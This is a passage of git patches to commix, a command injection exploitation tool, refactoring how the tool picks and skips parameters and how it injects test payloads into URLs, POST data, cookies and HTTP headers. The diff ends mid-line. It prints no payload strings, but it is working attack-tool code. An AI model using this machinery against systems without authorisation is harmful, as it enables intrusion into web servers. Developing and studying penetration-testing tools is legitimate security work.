Version 4.0 (TBA) +* Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing. * Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option). * Revised: Improvement regarding processing / ignoring injection marker (i.e. asterisk `*`). * Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index cbfa01b6d4..f77a1f2080 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1162,22 +1162,27 @@ def check_provided_parameters(): settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] """ -Check defined skipped parameters +Remove skipped parameters """ -def check_skipped_params(check_parameters, http_request_method): - settings.TEST_PARAMETER = [x + "," for x in settings.TEST_PARAMETER] +def remove_skipped_params(url, check_parameters): + testable_parameters = list(set(check_parameters) - set(menu.options.skip_parameter.split(","))) + settings.TEST_PARAMETER = [x for x in testable_parameters if x not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX)] + _ = [] for parameter in check_parameters: - if parameter in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX): - info_msg = "Skipping " + http_request_method + " parameter '" + parameter + "'." - print(settings.print_info_msg(info_msg)) - settings.TEST_PARAMETER = [x for x in check_parameters if x not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX)] - settings.TEST_PARAMETER = settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER) + if parameter not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX): + _.append(parameter) + if _: + info_msg = "Skipping " + check_http_method(url) + " parameter" + ('', 's')[len(_) > 1] + " '" + str(", ".join(_)) + "'." + print(settings.print_info_msg(info_msg)) menu.options.test_parameter = True """ Print the non-listed parameters. """ -def testable_parameters(check_parameters, http_request_method, header_name): +def testable_parameters(url, check_parameters, header_name): + if menu.options.skip_parameter != None: + remove_skipped_params(url, check_parameters) + if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 : menu.options.level = int(settings.HTTP_HEADER_INJECTION_LEVEL) @@ -1226,13 +1231,11 @@ def testable_parameters(check_parameters, http_request_method, header_name): if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and header_name != "": warn_msg += settings.HTTP_HEADER.capitalize() else: - warn_msg += http_request_method + warn_msg += check_http_method(url) warn_msg += "." print(settings.print_warning_msg(warn_msg)) - - if menu.options.skip_parameter != None: - check_skipped_params(check_parameters, http_request_method) + """ Only time-relative injection techniques support tamper """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 976eefcd22..97550208e4 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -495,8 +495,8 @@ def cookie_injection(url, http_request_method, filename, timesec): menu.options.cookie = cookie_parameters[i] check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) check_parameters.append(check_parameter) - - checks.testable_parameters(check_parameters, http_request_method, header_name) + + checks.testable_parameters(url, check_parameters, header_name) for i in range(0, len(cookie_parameters)): parameter = menu.options.cookie = cookie_parameters[i] @@ -543,7 +543,7 @@ def get_request(url, http_request_method, filename, timesec): check_parameters.append(check_parameter) header_name = "" - checks.testable_parameters(check_parameters, http_request_method, header_name) + checks.testable_parameters(url, check_parameters, header_name) for i in range(0, len(found_url)): url = found_url[i] @@ -603,7 +603,7 @@ def post_request(url, http_request_method, filename, timesec): check_parameters.append(check_parameter) header_name = "" - checks.testable_parameters(check_parameters, http_request_method, header_name) + checks.testable_parameters(url, check_parameters, header_name) for i in range(0, len(found_parameter)): #if settings.INJECT_TAG in found_parameter[i]: diff --git a/src/utils/settings.py b/src/utils/settings.py index f5404df110..e9ec72da22 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0ed34b8a3909dd8bec8773b4d9a4cade3aea8436 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 18 Apr 2024 08:48:14 +0300 Subject: [PATCH 424/560] Update regarding checking non custom parameters --- src/core/injections/controller/checks.py | 89 ++++---- src/core/injections/controller/controller.py | 202 +++++++++++-------- src/core/main.py | 11 +- src/core/requests/headers.py | 32 +-- src/core/requests/parameters.py | 24 +-- src/core/requests/requests.py | 4 +- src/utils/settings.py | 7 +- 7 files changed, 192 insertions(+), 177 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f77a1f2080..9c570b33bb 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -98,7 +98,30 @@ def quoted_value(value): return '"{}"'.format(value) """ -Check for custom injection marker (*) +Check for non custom parameters. +""" +def process_non_custom(): + if settings.WILDCARD_CHAR_APPLIED: + while True: + message = "Other non-custom parameters found." + message += " Do you want to process them too? [Y/n] > " + process = common.read_input(message, default="Y", check_batch=True) + if process in settings.CHOICE_YES: + settings.IGNORE_USER_DEFINED_POST_DATA = False + return True + elif process in settings.CHOICE_NO: + settings.IGNORE_USER_DEFINED_POST_DATA = True + return False + elif process in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(process) + pass + else: + return True + +""" +Check for custom injection marker ('*'). """ def check_custom_injection_marker(url, http_request_method): if url and settings.WILDCARD_CHAR in url: @@ -113,40 +136,25 @@ def check_custom_injection_marker(url, http_request_method): option = "option '--headers/--user-agent/--referer/--cookie'" if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: settings.WILDCARD_CHAR_APPLIED = settings.COOKIE_INJECTION = True - menu.options.level = settings.COOKIE_INJECTION_LEVEL - elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: settings.WILDCARD_CHAR_APPLIED = settings.USER_AGENT_INJECTION = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: settings.WILDCARD_CHAR_APPLIED = settings.REFERER_INJECTION = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - - elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: - _ = True - for data in menu.options.headers.split("\\n"): - # Ignore the Accept HTTP Header - if not data.startswith(settings.ACCEPT): - _ = False - if _: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + elif menu.options.host and settings.WILDCARD_CHAR in menu.options.host: + settings.WILDCARD_CHAR_APPLIED = settings.HOST_INJECTION = True + elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: + if settings.CUSTOM_HEADER_CHECK in settings.TEST_PARAMETER: + settings.WILDCARD_CHAR_APPLIED = settings.CUSTOM_HEADER_INJECTION = True if settings.WILDCARD_CHAR_APPLIED: while True: - message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " + message = "Custom injection marker ('" + settings.WILDCARD_CHAR + "') found in " + option +". " message += "Do you want to process it? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: - if menu.options.test_parameter: - if not settings.MULTI_TARGETS or settings.STDIN_PARSING: - err_msg = "The custom injection marker (" + settings.WILDCARD_CHAR + ") " - err_msg += "and the option '-p', cannot be used simultaneously." - print(settings.print_critical_msg(err_msg)) - raise SystemExit return True elif procced_option in settings.CHOICE_NO: + settings.CUSTOM_HEADER_INJECTION = False return False elif procced_option in settings.CHOICE_QUIT: raise SystemExit() @@ -244,7 +252,7 @@ def alert(): def check_http_method(url): if menu.options.method: http_request_method = menu.options.method.upper() - elif any((settings.INJECT_TAG in url, settings.WILDCARD_CHAR in url)): + elif settings.INJECT_TAG in url: http_request_method = settings.HTTPMETHOD.GET else: if settings.USER_DEFINED_POST_DATA: @@ -656,29 +664,6 @@ def assessment_phase(): else: return "exploitation" -""" -Check current assessment phase. -""" -def check_injection_level(): - try: - # Checking testable parameters for cookies - if menu.options.cookie: - if settings.COOKIE_DELIMITER in menu.options.cookie: - cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) - for cookie in cookies: - if cookie.split("=")[0].strip() in menu.options.test_parameter: - menu.options.level = settings.COOKIE_INJECTION_LEVEL - elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: - menu.options.level = settings.COOKIE_INJECTION_LEVEL - - # Checking testable HTTP headers for user-agent / referer / host - if any(x in menu.options.test_parameter for x in settings.HTTP_HEADERS): - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - - except Exception as e: - return - - """ Procced to the next attack vector. """ @@ -1135,8 +1120,10 @@ def wildcard_character(data): _ = _ + data + "\\n" data = _.rstrip("\\n") if data.count(settings.INJECT_TAG) > 1: - err_msg = "You specified more than one injecton markers. " - err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) + err_msg = "You specified more than one custom injection markers ('" + settings.WILDCARD_CHAR + "'). " + err_msg += "Instead use the '-p' option to define them (i.e -p \"id1,id2\"). " print(settings.print_critical_msg(err_msg)) raise SystemExit() return data @@ -1180,12 +1167,10 @@ def remove_skipped_params(url, check_parameters): Print the non-listed parameters. """ def testable_parameters(url, check_parameters, header_name): + if menu.options.skip_parameter != None: remove_skipped_params(url, check_parameters) - if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 : - menu.options.level = int(settings.HTTP_HEADER_INJECTION_LEVEL) - _ = False if len([i for i in settings.TEST_PARAMETER if i in check_parameters]) == 0: _ = True diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 97550208e4..583cfee24f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -75,6 +75,7 @@ def check_for_stored_levels(url, http_request_method): Heuristic (basic) tests for command injection """ def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): + check_parameter = check_parameter.lstrip().rstrip() if menu.options.alter_shell: basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS else: @@ -104,18 +105,19 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - if inject_http_headers: - data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) - else: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) - if inject_http_headers and settings.HOST.capitalize() not in check_parameter: - request.add_header(check_parameter.replace("'", "").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): + settings.CUSTOM_HEADER_NAME = check_parameter + if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: + request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + else: + request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -140,6 +142,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, Heuristic (basic) tests for code injection warnings """ def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): + check_parameter = check_parameter.lstrip().rstrip() injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" @@ -164,18 +167,19 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - if inject_http_headers: - data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) - else: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.quote(payload)) request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) - if inject_http_headers and settings.HOST.capitalize() not in check_parameter: - request.add_header(check_parameter.replace("'", "").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): + settings.CUSTOM_HEADER_NAME = check_parameter + if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: + request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + else: + request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -203,7 +207,9 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t print(settings.print_critical_msg(err_msg)) raise SystemExit() -# Check if it's exploitable via classic command injection technique. +""" +Check if it's exploitable via classic command injection technique. +""" def classic_command_injection_technique(url, timesec, filename, http_request_method): injection_type = "results-based OS command injection" technique = "classic command injection technique" @@ -218,7 +224,9 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met if settings.CLASSIC_STATE == None: checks.skipping_technique(technique, injection_type, settings.CLASSIC_STATE) -# Check if it's exploitable via dynamic code evaluation technique. +""" +Check if it's exploitable via dynamic code evaluation technique. +""" def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" @@ -234,7 +242,9 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho if settings.EVAL_BASED_STATE == None: checks.skipping_technique(technique, injection_type, settings.EVAL_BASED_STATE) -# Check if it's exploitable via time-based command injection technique. +""" +Check if it's exploitable via time-based command injection technique. +""" def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): injection_type = "blind OS command injection" technique = "time-based command injection technique" @@ -249,7 +259,9 @@ def timebased_command_injection_technique(url, timesec, filename, http_request_m if settings.TIME_BASED_STATE == None: checks.skipping_technique(technique, injection_type, settings.TIME_BASED_STATE) -# Check if it's exploitable via file-based command injection technique. +""" +Check if it's exploitable via file-based command injection technique. +""" def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response): injection_type = "semi-blind command injection" technique = "file-based command injection technique" @@ -263,6 +275,16 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m if settings.FILE_BASED_STATE == None: checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE) +""" +""" +def check_parameter_in_http_header(check_parameter): + inject_http_headers = False + if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ + check_parameter.lower() in settings.CUSTOM_HEADER_NAME.lower(): + if settings.ACCEPT_VALUE not in settings.CUSTOM_HEADER_VALUE: + inject_http_headers = True + return inject_http_headers + """ Proceed to the injection process for the appropriate parameter. """ @@ -270,23 +292,20 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.PERFORM_BASIC_SCANS: basic_level_checks() - inject_http_headers = False - if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ - any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): - inject_http_headers = True + inject_http_headers = check_parameter_in_http_header(check_parameter) # User-Agent/Referer/Host/Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" the_type = "HTTP header" - check_parameter = " '" + check_parameter.strip() + "'" + inject_parameter = " '" + check_parameter.strip() + "'" else: if settings.COOKIE_INJECTION: header_name = settings.COOKIE else: header_name = "" the_type = " parameter" - check_parameter = " '" + check_parameter + "'" + inject_parameter = " '" + check_parameter + "'" # Estimating the response time (in seconds) timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method) @@ -300,9 +319,9 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER = checks.check_http_method(url) settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] if header_name == settings.COOKIE : - settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) + settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter) else: - settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(check_parameter) + settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." print(settings.print_info_msg(info_msg)) @@ -421,28 +440,27 @@ def host_injection(url, http_request_method, filename, timesec): settings.HOST_INJECTION = False menu.options.host = host - # User-Agent HTTP header injection - if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or settings.USER_AGENT.lower() in menu.options.test_parameter.lower(): - user_agent_injection(url, http_request_method, filename, timesec) + if not any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)) and \ + menu.options.test_parameter == None and \ + menu.options.skip_parameter == None: + user_agent_injection(url, http_request_method, filename, timesec) + referer_injection(url, http_request_method, filename, timesec) + host_injection(url, http_request_method, filename, timesec) else: - if settings.USER_AGENT.lower() not in menu.options.skip_parameter.lower(): + # User-Agent HTTP header injection + if settings.USER_AGENT_INJECTION or \ + menu.options.test_parameter and settings.USER_AGENT.lower() in menu.options.test_parameter.lower() or \ + menu.options.skip_parameter and settings.USER_AGENT.lower() not in menu.options.skip_parameter.lower(): user_agent_injection(url, http_request_method, filename, timesec) - - # Referer HTTP header injection - if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or settings.REFERER.lower() in menu.options.test_parameter.lower(): + # Referer HTTP header injection + if settings.REFERER_INJECTION or \ + menu.options.test_parameter and settings.REFERER.lower() in menu.options.test_parameter.lower() or \ + menu.options.skip_parameter and settings.REFERER.lower() not in menu.options.skip_parameter.lower(): referer_injection(url, http_request_method, filename, timesec) - else: - if settings.REFERER not in menu.options.skip_parameter.lower(): - referer_injection(url, http_request_method, filename, timesec) - - # Host HTTP header injection - if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or settings.HOST.lower() in menu.options.test_parameter.lower(): - host_injection(url, http_request_method, filename, timesec) - else: - if settings.HOST.lower() not in menu.options.skip_parameter.lower(): + # Host HTTP header injection + if settings.HOST_INJECTION or \ + menu.options.test_parameter and settings.HOST.lower() in menu.options.test_parameter.lower() or \ + menu.options.skip_parameter and settings.HOST.lower() not in menu.options.skip_parameter.lower(): host_injection(url, http_request_method, filename, timesec) """ @@ -634,6 +652,49 @@ def post_request(url, http_request_method, filename, timesec): check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) +""" +Perform GET / POST parameters checks +""" +def data_checks(url, http_request_method, filename, timesec): + if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: + if post_request(url, http_request_method, filename, timesec) is None: + get_request(url, http_request_method, filename, timesec) + else: + if get_request(url, http_request_method, filename, timesec) is None: + if settings.USER_DEFINED_POST_DATA and checks.process_non_custom(): + post_request(url, http_request_method, filename, timesec) +""" +Perform HTTP Headers parameters checks +""" +def headers_checks(url, http_request_method, filename, timesec): + if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED: + settings.COOKIE_INJECTION = True + + if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or settings.COOKIE_INJECTION: + cookie_injection(url, http_request_method, filename, timesec) + + if menu.options.level > settings.COOKIE_INJECTION_LEVEL and not settings.WILDCARD_CHAR_APPLIED: + settings.HTTP_HEADERS_INJECTION = True + + if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 or settings.HTTP_HEADERS_INJECTION or any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): + if settings.INJECTED_HTTP_HEADER == False: + check_parameter = "" + http_headers_injection(url, http_request_method, filename, timesec) + + if len(settings.CUSTOM_HEADERS_NAMES) != 0: + settings.CUSTOM_HEADER_INJECTION = True + for _ in settings.CUSTOM_HEADERS_NAMES: + if settings.WILDCARD_CHAR in _.split(": ")[1] and not settings.WILDCARD_CHAR_APPLIED: + settings.CUSTOM_HEADER_INJECTION = False + else: + settings.CUSTOM_HEADER_NAME = _.split(": ")[0] + settings.CUSTOM_HEADER_VALUE = _.split(": ")[1].replace(settings.WILDCARD_CHAR,"") + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME + settings.HTTP_HEADER = header_name[1:].lower() + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + settings.CUSTOM_HEADER_INJECTION = False + """ Perform checks """ @@ -671,40 +732,15 @@ def perform_checks(url, http_request_method, filename): menu.options.level = settings.USER_SUPPLIED_LEVEL check_for_stored_levels(url, http_request_method) - # Custom header Injection - if settings.CUSTOM_HEADER_INJECTION == True: - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.CUSTOM_HEADER_INJECTION = None - - # Check if defined POST data - if not settings.COOKIE_INJECTION: - if len(settings.USER_DEFINED_POST_DATA) != 0 and not settings.IGNORE_USER_DEFINED_POST_DATA: - if post_request(url, http_request_method, filename, timesec) is None: - get_request(url, http_request_method, filename, timesec) - else: - get_request(url, http_request_method, filename, timesec) - - _ = menu.options.level - if _ >= settings.COOKIE_INJECTION_LEVEL: - menu.options.level = settings.COOKIE_INJECTION_LEVEL - # Enable Cookie Injection - if menu.options.cookie: - cookie_injection(url, http_request_method, filename, timesec) - else: - warn_msg = "The HTTP Cookie header is not provided, " - warn_msg += "so this test is going to be skipped." - print(settings.print_warning_msg(warn_msg)) - if _ == settings.HTTP_HEADER_INJECTION_LEVEL: - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - if settings.INJECTED_HTTP_HEADER == False : - check_parameter = "" - # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2). - stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec) - else: - http_headers_injection(url, http_request_method, filename, timesec) + _ = True + if not settings.WILDCARD_CHAR_APPLIED: + data_checks(url, http_request_method, filename, timesec) + _ = False + headers_checks(url, http_request_method, filename, timesec) + if settings.CUSTOM_HEADERS_NAMES and not checks.process_non_custom(): + _ = False + if _: + data_checks(url, http_request_method, filename, timesec) if settings.INJECTION_CHECKER == False: return False @@ -759,7 +795,7 @@ def do_check(url, http_request_method, filename): # All injection techniques seems to be failed! if not settings.INJECTION_CHECKER: - if settings.TESTABLE_PARAMETERS: + if settings.TESTABLE_PARAMETERS and len(settings.CUSTOM_HEADERS_NAMES) == 0 : err_msg = "All testable parameters you provided are not present within the given request data." else: err_msg = "All tested parameters " @@ -768,9 +804,7 @@ def do_check(url, http_request_method, filename): err_msg += "appear to be not injectable." if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : err_msg += " Try to increase value for '--level' option" - if menu.options.skip_empty: - err_msg += " and/or remove option '--skip-empty'" - err_msg += " if you wish to perform more tests." + err_msg += " if you wish to perform more tests." if settings.USER_SUPPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES: err_msg += " Rerun without providing the option " if not settings.SKIP_TECHNIQUES : @@ -778,12 +812,8 @@ def do_check(url, http_request_method, filename): else: err_msg += "'--skip-technique'." err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to" - if not menu.options.alter_shell : - err_msg += " use option '--alter-shell'" - else: - err_msg += " remove option '--alter-shell'" if not menu.options.tamper: - err_msg += " and/or use option '--tamper'" + err_msg += " use option '--tamper'" if not menu.options.random_agent: if not menu.options.tamper: err_msg += " and/or" diff --git a/src/core/main.py b/src/core/main.py index ee9718aaeb..e15ba557c0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -303,11 +303,6 @@ def main(filename, url, http_request_method): settings.WILDCARD_CHAR_APPLIED = checks.check_custom_injection_marker(url, http_request_method) - # Check injection level, due to the provided testable parameters. - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ - menu.options.test_parameter != None: - checks.check_injection_level() - # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) @@ -489,8 +484,10 @@ def main(filename, url, http_request_method): requests.application_identification(url) # Specifies the technology supporting the web application requests.technology_detection(response) - if response.info()['server'] : - server_banner = response.info()['server'] + if response.info()[settings.X_POWERED_BY] : + server_banner = response.info()[settings.X_POWERED_BY] + elif response.info()[settings.SERVER] : + server_banner = response.info()[settings.SERVER] # Procedure for target server's operating system identification. requests.check_target_os(server_banner) # Procedure for target server identification. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index e0645a31fc..8bcbc2e5f5 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -297,7 +297,7 @@ def do_check(request): # Default value for "Accept-Encoding" HTTP header if not (menu.options.requestfile or menu.options.logfile): - request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) + request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) # Appends a fake HTTP header 'X-Forwarded-For' (and alike) if settings.TAMPER_SCRIPTS["xforwardedfor"]: @@ -343,26 +343,25 @@ def do_check(request): pass # Check if defined any extra HTTP headers. - if menu.options.headers or menu.options.header or len(settings.RAW_HTTP_HEADERS) >= 1: - if len(settings.RAW_HTTP_HEADERS) >= 1: + if menu.options.headers or menu.options.header or settings.RAW_HTTP_HEADERS: + if settings.RAW_HTTP_HEADERS: menu.options.headers = settings.RAW_HTTP_HEADERS # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. if menu.options.headers: menu.options.headers = checks.wildcard_character(menu.options.headers) extra_headers = menu.options.headers - else: + elif menu.options.header: menu.options.header = checks.wildcard_character(menu.options.header) extra_headers = menu.options.header extra_headers = extra_headers.replace(":",": ") - if ": //" in extra_headers: extra_headers = extra_headers.replace(": //" ,"://") if "\\n" in extra_headers: extra_headers = extra_headers.split("\\n") # Remove empty strings and "Content-Length" - extra_headers = [x for x in extra_headers if "Content-Length" not in x] + extra_headers = [x for x in extra_headers if settings.CONTENT_LENGTH not in x] else: tmp_extra_header = [] tmp_extra_header.append(extra_headers) @@ -379,8 +378,8 @@ def do_check(request): elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): if settings.CONTENT_TYPE not in str(extra_headers): request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) - if "Accept-Encoding" not in str(extra_headers): - request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) + if settings.ACCEPT_ENCODING not in str(extra_headers): + request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) for extra_header in extra_headers: try: @@ -391,12 +390,17 @@ def do_check(request): http_header_value = extra_header.split(':', 1)[1] http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. - if settings.CUSTOM_HEADER_INJECTION == False and http_header_name in settings.TEST_PARAMETER: - settings.CUSTOM_HEADER_INJECTION = True - settings.CUSTOM_HEADER_NAME = http_header_name - settings.CUSTOM_HEADER_VALUE = http_header_value - # Add HTTP Header name / value to the HTTP request - if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: + if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: + if not 